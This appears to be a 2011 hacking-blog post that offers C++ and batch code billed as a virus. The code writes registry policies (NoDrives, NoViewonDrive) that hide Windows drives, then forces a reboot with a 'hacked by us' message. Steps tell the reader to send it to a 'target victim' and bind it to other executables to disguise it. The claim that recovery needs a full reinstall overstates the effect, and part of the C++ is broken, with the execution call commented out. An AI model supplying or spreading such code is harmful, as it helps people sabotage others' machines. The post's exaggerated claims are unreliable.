Monday, 5 September 2011

Create a Batch to Block Windows Drives and Make System Dead


Today I am going to give some coding that help you to create a Virus that that Block Windows Drives permanently and make the victim to suffer disabling of Drive . This virus blocks  drives and makes the system shutdown permanently. To overcome from its effect victim needs to Re-Install its Operating System.
What is it? And how it work?
It is a simple command written in C++ for those people who want to use their C++ knowledge and for those who doesn’t have C++ knowledge they can direct use Batch commands. Whenever the target victim run below created files it’s Windows drives  will got blocked for permanently and system will shutdown.
With C++:
Follow these steps

  • Ø  Copy below codes.
#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n";
write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n";
write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n";
write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL);
return 0; 
}   

  • Ø  Paste it on Notepad.
  • Ø  Save it in .cpp.
  • Ø  Create .exe file.
  • Ø  Send it to target victim (you can also attach it with other exe files).
With Batch:
Follow these steps:

  • Ø  Copy below codes.
REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f  

  • Ø  Paste it on Notepad.
  • Ø  Save it in .bat.
  • Ø  Send it to target victim (you can also attach it with other exe files).
Note: To recover from it you might be need to re-install your Operating system.





Related Posts:



0 comments:

Post a Comment